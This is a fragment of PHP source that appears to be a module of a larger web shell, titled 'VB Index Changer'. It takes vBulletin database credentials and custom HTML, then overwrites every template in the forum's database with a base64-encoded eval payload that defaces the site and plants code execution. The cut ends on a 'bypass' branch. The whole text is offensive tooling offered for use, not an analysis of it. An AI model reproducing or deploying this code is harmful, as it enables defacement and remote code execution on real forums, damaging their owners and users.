VB Index Changer

<?
   if(empty($_POST['index'])){
   echo "<center><FORM method=\"POST\">";
   echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
    }else{
    $localhost = $_POST['localhost'];
    $database = $_POST['database'];
    $username = $_POST['username'];
    $password = $_POST['password'];
    $index = $_POST['index'];
    @mysql_connect($localhost,$username,$password) or die(mysql_error());
    @mysql_select_db($database) or die(mysql_error());
    $index=str_replace("\'","'",$index);
    $set_index = "{\${eval(base64_decode(\'";
    $set_index .= base64_encode("echo \"$index\";");
    $set_index .= "\'))}}{\${exit()}}</textarea>";
    echo("UPDATE template SET template ='".$set_index."' ") ;
    $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
    if($ok){
    echo "!! update finish !!<br><br>";
    }
  }
}

//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>